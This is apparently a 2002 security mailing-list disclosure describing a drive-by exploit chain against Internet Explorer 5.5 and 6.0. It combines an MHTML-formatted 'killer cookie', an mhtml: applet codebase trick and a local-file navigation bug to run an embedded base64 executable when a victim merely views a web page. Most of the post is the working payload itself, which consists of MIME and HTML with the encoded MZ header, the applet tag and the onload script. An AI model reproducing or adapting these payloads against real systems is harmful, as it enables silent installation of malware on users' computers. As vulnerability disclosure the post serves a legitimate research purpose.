On closer examination, if we can format our cookie, we have a new and interesting entry point, bringing to final closure, once and for all, the "dangers of cookies". The following represents an actual cookie: ---killer K00kie--- MIME-Version: 1.0 Content-Location:file:///malware.exe Content-Transfer-Encoding: base64 TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAB5AAAAngAAAAAAAAAAAAAAAAA=/www.malware.com/ <applet CLASSID="CLSID:55555555-5555" codebase="mhtml:file:///C:\WINDOWS\TEMP\Cookies\anyuser@www.malware [1].txt!file:///malware.exe">160092129932829606357209871436829509617* ---killer K00kie--- CAUTION: the above is a fully functional self-contained 'live' executable 1. Combining the Jelmer mhtml code base and the Sandblad cookie injection technique with dot bug to render as html, we whittle down everything to the absolute bare minimum. 2. The above is all that is required to 'execute' our malware.exe. In the above the base64 encoding is our bare minimum MZD header to execute. 3. If we can format our first three lines in the cookie as above and with one space between the encoding, it will function as designed. 4. Question is, can we? End Call -- Jelmer <jelmer@kuperus.xs4all.nl> said: > This allows for execution of arbitrary code see my winamp and ICQ exploits > > http://kuperus.xs4all.nl/winamp.htm > > www.xs4all.nl/~jkuperus/icq/icq.htm > > I posted a message explaining how it works (and proofing winamp 3 is > vulnerable aswell) but the fine bugtraq moderators chose to moderate it out > for no apperent reason > > -- > jelmer Brilliant ! The culmination of yet another silent delivery and installation of an executable on the target computer, no client input other than viewing a web page. This is precisely what happens when vendors poo poo small but important "stepping stone" discoveries. They all ultimately add up into one monster problem. Fortunately for this manufacturer, one key component is to be addressed in the "ever" pending Internet Explorer 6 SP1. Nevertheless for untold millions who'll probably never hear about that, consider the following quality components added to our Silly Behavior for full remote take over: 1. The Andreas Sandblad dot bug of May 19 2002 [MAY!] 2. The Jelmer ICQ and MSIE allow execution of arbitrary code of July 16 2002 3. The malware.com Silly Behavior of Internet Explorer browsers The core components being as follows: a) codebase="mhtml:file:///C:/Windows/temp/wecerr.txt! file:///malware.exe b) location=("file:///c:/windows/temp/wecerr.txt .") What this all means is, we continue along with our Silly Behavior and create our custom error message to be "served" by the server when we are unable to locate our "web folder". That custom error message now comprises both our html and our base64 encoding. Where it gets particularly clever is utilising Jelmer's method as in a) above. Specifically: Our simple error 404 output created by the Silly Behavior of Internet Explorer 5.5 and 6.0 now conveniently created as wecerr.txt in our known location is comprised as follows: <html style="display:none;"> From: <Saved by Microsoft Internet Explorer 5> Subject: Date: Thu, 15 Aug 2002 21:07:44 -0400 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0001_01C2449F.CD3FE240"; type="text/html" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C2449F.CD3FE240 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Location: file:///malware.exe <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=Content-Type content="text/html; charset=windows- 1252"> <META content="MSHTML 6.00.2716.2200" name=GENERATOR></HEAD> <BODY> <applet CLASSID="CLSID:55555555-5555" CODEBASE="mhtml:file:///C:/Windows/temp/wecerr.txt! file:///malware.exe"></applet> </BODY></HTML> ------=_NextPart_000_0001_01C2449F.CD3FE240 Content-Type: application/x-msdownload Content-Transfer-Encoding: base64 Content-Location: file:///malware.exe TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA What this does is combine both our html file and our embedded executable in one single file. Our object and its codebase point to the embedded executable inside our file. As can be seen above. We then take the Sandblad dot bug and point that to our wecerr.txt like so: <body onload=malware() style="behavior: url(#default#httpFolder);"> <script> function malware(){ document.body.navigate("http://www.microsoft.com";);alert ("malware");location=("file:///c:/windows/temp/wecerr.txt .") } </script> -- http://www.malware.com
